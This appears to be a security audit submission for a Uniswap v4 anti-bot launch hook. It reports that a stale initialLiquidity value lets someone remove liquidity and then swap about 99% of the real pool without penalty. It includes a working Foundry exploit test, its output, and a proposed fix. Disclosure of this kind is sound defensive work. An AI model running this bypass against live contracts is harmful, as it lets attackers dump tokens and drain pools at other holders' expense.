Vanguard

First Flight #56
Beginner FriendlyDeFiFoundry
0 EXP
Submission Details
Impact: high
Likelihood: high

Stale initialLiquidity Storage as a result of liquidity removal can lead to Complete Protection Bypass

Author Revealed upon completion

Stale initialLiquidity Storage as a result of liquidity removal can lead to Complete Protection Bypass

Description

  • The Vanguard hook is designed to prevent price manipulation during token launches by limiting swap amounts to a small percentage of pool liquidity. In Phase 1, swaps are restricted to 1% of the initial pool liquidity per transaction, with penalties applied to violators. This protection ensures that no single actor can dump large positions and crash the token price during the critical early trading period.

  • The hook records initialLiquidity once during pool initialization or the first swap and never updates this value thereafter. When liquidity is removed from the pool after initialization, the hook continues to calculate swap limits based on the stale initialLiquidity value rather than the actual current pool liquidity. This allows attackers to execute swaps that represent a massive percentage of the actual pool while the hook believes they are within the intended limits.

// In _afterInitialize func, liquidity is set once
function _afterInitialize(address, PoolKey calldata key, uint160, int24) internal override returns (bytes4) {
if (!key.fee.isDynamicFee()) {
revert MustUseDynamicFee();
}
launchStartBlock = block.number;
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
initialLiquidity = uint256(liquidity); // here
currentPhase = 1;
lastPhaseUpdateBlock = block.number;
return BaseHook.afterInitialize.selector;
}
// in _beforeSwap, stale liquidity is used
function _beforeSwap(address sender, PoolKey calldata key, SwapParams calldata params, bytes calldata)
internal
override
returns (bytes4, BeforeSwapDelta, uint24)
{
if (launchStartBlock == 0) revert PoolNotInitialized();
if (initialLiquidity == 0) {
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
initialLiquidity = uint256(liquidity);
}
// // // //
uint256 maxSwapAmount = (initialLiquidity * phaseLimitBps) / 10000;
bool applyPenalty = false;
// // //
// // //
}

Risk

Likelihood:

  • An attacker or colluding liquidity provider removes liquidity after the launch begins. The hook's protection immediately becomes ineffective as limits are calculated from the outdated baseline.

  • Any legitimate liquidity provider who added significant liquidity can remove their position at any time. Even without malicious intent, this causes the protection mechanism to fail for all subsequent swaps.

  • An attacker adds initial liquidity, triggers the first swap to lock in initialLiquidity, removes most liquidity, then dumps tokens at the inflated limit.

Impact:

  • Attackers can execute swaps 19x larger than intended limits without penalties, completely bypassing the anti-bot protection mechanism.

  • Single swaps can crash token price by 17-21%, and the attack is repeatable every 5 blocks to drain the pool.

  • Any liquidity provider can unilaterally destroy protection for all users by withdrawing their position.

Proof of Concept

In the test file, add this code

function test_LiquidityRemovedAfterLaunch_LimitsTooLoose() public {
// STEP 1: SETUP AND RECORD BASELINE
// 1.1: Give user ETH and trigger initialLiquidity recording
vm.deal(user1, 100 ether);
vm.roll(block.number + 1);
vm.prank(user1);
swap(key, true, -0.01 ether, ZERO_BYTES);
// 1.2: Record the initialLiquidity value hook captured
uint256 hookInitialLiquidity = antiBotHook.initialLiquidity();
assertTrue(hookInitialLiquidity > 0, "initialLiquidity should be set");
// 1.3: Get actual current pool liquidity
uint128 actualPoolLiquidity = StateLibrary.getLiquidity(
manager,
key.toId()
);
// 1.4: Verify they match at this point (baseline)
assertEq(
uint256(actualPoolLiquidity),
hookInitialLiquidity,
"Should match initially"
);
// 1.5: Calculate Phase 1 limit based on recorded initialLiquidity
// uint256 phase1LimitBps = antiBotHook.phase1LimitBps();
uint256 calculatedMaxSwap = (hookInitialLiquidity * phase1LimitBps) /
10000;
console.log("\n=== STEP 1: BASELINE RECORDED ===");
console.log("Hook's initialLiquidity:", hookInitialLiquidity);
console.log("Actual pool liquidity:", actualPoolLiquidity);
console.log("Phase 1 limit (bps):", phase1LimitBps);
console.log("Max swap allowed:", calculatedMaxSwap);
console.log(
"Max swap as % of pool:",
(calculatedMaxSwap * 100) / hookInitialLiquidity,
"%"
);
// STEP 2: REMOVE MOST OF THE LIQUIDITY
vm.roll(block.number + 1);
// 2.1: Calculate how much liquidity to remove (95%)
uint128 currentLiquidity = StateLibrary.getLiquidity(
manager,
key.toId()
);
int128 liquidityToRemove = -int128((currentLiquidity * 99) / 100); // Remove 99%
console.log("\n=== STEP 2: REMOVING LIQUIDITY ===");
console.log("Current pool liquidity:", currentLiquidity);
console.log("Liquidity to remove (99%):", uint128(-liquidityToRemove));
// 2.2: Remove the liquidity
modifyLiquidityRouter.modifyLiquidity(
key,
ModifyLiquidityParams({
tickLower: -60,
tickUpper: 60,
liquidityDelta: int256(liquidityToRemove),
salt: bytes32(0)
}),
ZERO_BYTES
);
// 2.3: Verify actual pool liquidity is now much smaller
uint128 actualPoolLiquidityAfter = StateLibrary.getLiquidity(
manager,
key.toId()
);
console.log(
"Actual pool liquidity after removal:",
actualPoolLiquidityAfter
);
assertTrue(
actualPoolLiquidityAfter < currentLiquidity / 10,
"Pool should have lost most liquidity"
);
// 2.4: Verify hook's initialLiquidity is STILL the old value (unchanged)
uint256 hookInitialLiquidityAfter = antiBotHook.initialLiquidity();
console.log(
"Hook's initialLiquidity after removal:",
hookInitialLiquidityAfter
);
assertEq(
hookInitialLiquidityAfter,
hookInitialLiquidity,
"Hook's initialLiquidity should be UNCHANGED (the bug)"
);
console.log("\n BUG CONFIRMED:");
console.log(" Actual pool liquidity:", actualPoolLiquidityAfter);
console.log(" Hook thinks liquidity is:", hookInitialLiquidityAfter);
console.log(
" Discrepancy:",
(hookInitialLiquidityAfter * 100) / actualPoolLiquidityAfter,
"x"
);
// STEP 3: CALCULATE THE DISCREPANCY
// 3.1: What max swap SHOULD BE based on actual liquidity
uint256 correctMaxSwap = (uint256(actualPoolLiquidityAfter) *
phase1LimitBps) / 10000;
// 3.2: What max swap ACTUALLY IS based on hook's stale initialLiquidity
uint256 hookMaxSwap = (hookInitialLiquidityAfter * phase1LimitBps) /
10000;
// 3.3: Calculate the danger ratio
uint256 dangerMultiplier = hookMaxSwap / correctMaxSwap;
console.log("\n=== STEP 3: DISCREPANCY ANALYSIS ===");
console.log(
"What max swap SHOULD be (1% of real pool):",
correctMaxSwap
);
console.log("What hook ALLOWS (1% of stale value):", hookMaxSwap);
console.log("Difference:", hookMaxSwap - correctMaxSwap);
console.log("Danger multiplier:", dangerMultiplier, "x");
// 3.4: Show what percentage of actual pool the hook allows
uint256 actualPercentageAllowed = (hookMaxSwap * 100) /
uint256(actualPoolLiquidityAfter);
console.log(
"\nHook allows swaps of:",
actualPercentageAllowed,
"% of ACTUAL pool"
);
console.log("(Should only allow 1%)");
// 3.5: Critical assertion - hook allows way more than it should
assertTrue(
hookMaxSwap > correctMaxSwap * 10,
"Hook's limit should be at least 10x too loose"
);
assertTrue(
actualPercentageAllowed > 90,
"Hook should allow dumping MORE than 100% of actual pool"
);
// STEP 4: DEMONSTRATE THE EXPLOIT
vm.roll(block.number + 1);
// 4.1: Setup bot with funds
vm.deal(bot1, 100 ether);
// 4.2: Craft exploit swap
// Swap amount is within hook's limits but massive relative to actual pool
int256 exploitSwapAmount = -int256(hookMaxSwap); // Use full "allowed" amount
console.log("\n=== STEP 4: EXECUTING EXPLOIT ===");
console.log("Bot attempting to swap:", uint256(-exploitSwapAmount));
console.log(
"This is",
(uint256(-exploitSwapAmount) * 100) / hookInitialLiquidityAfter,
"% of what hook thinks is pool size"
);
console.log(
"This is",
(uint256(-exploitSwapAmount) * 100) /
uint256(actualPoolLiquidityAfter),
"% of ACTUAL pool size"
);
// 4.3: Record penalty fees before swap
uint256 penaltiesBeforeExploit = antiBotHook
.totalPenaltyFeesCollected();
// 4.4: Execute the exploit swap
vm.prank(bot1);
swap(key, true, exploitSwapAmount, ZERO_BYTES);
// 4.5: Verify swap went through WITHOUT penalty
uint256 penaltiesAfterExploit = antiBotHook.totalPenaltyFeesCollected();
console.log("\nPenalty fees before exploit:", penaltiesBeforeExploit);
console.log("Penalty fees after exploit:", penaltiesAfterExploit);
console.log(
"Additional penalties charged:",
penaltiesAfterExploit - penaltiesBeforeExploit
);
assertEq(
penaltiesAfterExploit,
penaltiesBeforeExploit,
"NO PENALTY should be charged (bot bypassed protection)"
);
console.log("\n EXPLOIT SUCCESSFUL:");
console.log(
" Bot dumped",
(uint256(-exploitSwapAmount) * 100) /
uint256(actualPoolLiquidityAfter),
"% of actual pool"
);
console.log(" Hook thought it was only", phase1LimitBps / 100, "%");
console.log(" Zero penalty fees collected");
console.log(" Anti-bot protection DEFEATED");
// STEP 5: PROVE THE IMPACT
console.log("\n=== STEP 5: IMPACT ANALYSIS ===");
// 5.1: Show attacker dumped way more than intended
uint256 actualDumpPercentage = (uint256(-exploitSwapAmount) * 100) /
uint256(actualPoolLiquidityAfter);
uint256 intendedLimitPercentage = phase1LimitBps / 100; // 1% in our case
console.log("\n DUMP STATISTICS:");
console.log(
" Intended max dump: ",
intendedLimitPercentage,
"% of pool"
);
console.log(
" Actual dump achieved:",
actualDumpPercentage,
"% of pool"
);
console.log(
" Bypass multiplier:",
actualDumpPercentage / intendedLimitPercentage,
"x"
);
assertTrue(
actualDumpPercentage > intendedLimitPercentage * 10,
"Attacker dumped at least 10x more than intended limit"
);
// 5.2: Show no penalties were collected
console.log("\n PENALTY ANALYSIS:");
console.log(
" Expected penalty (if caught):",
antiBotHook.phase1PenaltyBps() / 100,
"%"
);
console.log(" Actual penalty collected: 0%");
console.log(
" Attacker saved: ~",
(uint256(-exploitSwapAmount) * antiBotHook.phase1PenaltyBps()) /
10000,
" tokens"
);
// 5.3: Demonstrate price impact would be catastrophic
console.log("\n PRICE IMPACT:");
console.log(" Dump size relative to pool:", actualDumpPercentage, "%");
if (actualDumpPercentage >= 100) {
console.log(" CRITICAL: Dump exceeds 100% of pool liquidity!");
console.log(" This would cause EXTREME price slippage/crash");
} else if (actualDumpPercentage >= 50) {
console.log(" SEVERE: Dump is >50% of pool");
console.log(" This would cause massive price impact");
} else {
console.log(" Significant price manipulation possible");
}
// 5.4: Show this defeats the entire purpose
console.log("\n PROTECTION EFFECTIVENESS:");
console.log(
" Intended protection: Limit dumps to",
intendedLimitPercentage,
"% to prevent manipulation"
);
console.log(
" Actual protection: Bot dumped",
actualDumpPercentage,
"% without penalty"
);
console.log(" Protection status: COMPLETELY BYPASSED ");
// 5.5: Final critical assertions
assertTrue(
actualDumpPercentage > 90,
"CRITICAL: Bot should be able to dump 100%+ of actual pool"
);
assertEq(
penaltiesAfterExploit - penaltiesBeforeExploit,
0,
"CRITICAL: No penalties collected despite massive dump"
);
console.log("\n Vulnerability confirmed");
}

then run `forge test --mt test_LiquidityRemovedAfterLaunch_LimitsTooLoose -vvv`

results of the test:
```

[⠒] Compiling...
[⠆] Compiling 1 files with Solc 0.8.26
[⠔] Solc 0.8.26 finished in 65.55s
Compiler run successful!

Ran 1 test for test/TokenLaunchHookUnit.t.sol:TestTokenLaunchHook
[PASS] test_LiquidityRemovedAfterLaunch_LimitsTooLoose() (gas: 777769)
Logs:

=== STEP 1: BASELINE RECORDED ===
Hook's initialLiquidity: 3338502497096994491347
Actual pool liquidity: 3338502497096994491347
Phase 1 limit (bps): 100
Max swap allowed: 33385024970969944913
Max swap as % of pool: 0 %

=== STEP 2: REMOVING LIQUIDITY ===
Current pool liquidity: 3338502497096994491347
Liquidity to remove (95%): 3305117472126024546433
Actual pool liquidity after removal: 33385024970969944914
Hook's initialLiquidity after removal: 3338502497096994491347

BUG CONFIRMED:
Actual pool liquidity: 33385024970969944914
Hook thinks liquidity is: 3338502497096994491347
Discrepancy: 9999 x

=== STEP 3: DISCREPANCY ANALYSIS ===
What max swap SHOULD be (1% of real pool): 333850249709699449
What hook ALLOWS (1% of stale value): 33385024970969944913
Difference: 33051174721260245464
Danger multiplier: 100 x

Hook allows swaps of: 99 % of ACTUAL pool
(Should only allow 1%)

=== STEP 4: EXECUTING EXPLOIT ===
Bot attempting to swap: 33385024970969944913
This is 0 % of what hook thinks is pool size
This is 99 % of ACTUAL pool size

Penalty fees before exploit: 0
Penalty fees after exploit: 0
Additional penalties charged: 0

EXPLOIT SUCCESSFUL:
Bot dumped 99 % of actual pool
Hook thought it was only 1 %
Zero penalty fees collected
Anti-bot protection DEFEATED

=== STEP 5: IMPACT ANALYSIS ===

DUMP STATISTICS:
Intended max dump: 1 % of pool
Actual dump achieved: 99 % of pool
Bypass multiplier: 99 x

PENALTY ANALYSIS:
Expected penalty (if caught): 10 %
Actual penalty collected: 0%
Attacker saved: ~ 3338502497096994491 tokens

PRICE IMPACT:
Dump size relative to pool: 99 %
SEVERE: Dump is >50% of pool
This would cause massive price impact

PROTECTION EFFECTIVENESS:
Intended protection: Limit dumps to 1 % to prevent manipulation
Actual protection: Bot dumped 99 % without penalty
Protection status: COMPLETELY BYPASSED

Vulnerability confirmed

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 686.69ms (11.85ms CPU time)

Ran 1 test suite in 729.01ms (686.69ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

```

Recommended Mitigation

Although the beforeswap checks if liquidity has been set, it does not remove the vulnerability at all.

To fix it, add this in the _beforeSwap func

// Although this initial check is good, the problem is that it only runs once and where initial
// liquidity has already been set by the _afterInitialise func, this check does not run again
// so remove the check and only get the initial liquidity
- if (initialLiquidity == 0) {
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
initialLiquidity = uint256(liquidity);
- }
+ function _beforeSwap(...) internal override returns (...) {
// Don't use stored initialLiquidity at all
// Read current liquidity directly
+ uint128 currentLiquidity = StateLibrary.getLiquidity(poolManager, key.toId());
// Calculate limits based on CURRENT state
+ uint256 maxSwapAmount = (uint256(currentLiquidity) * phaseLimitBps) / 10000;
// Rest of logic...
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!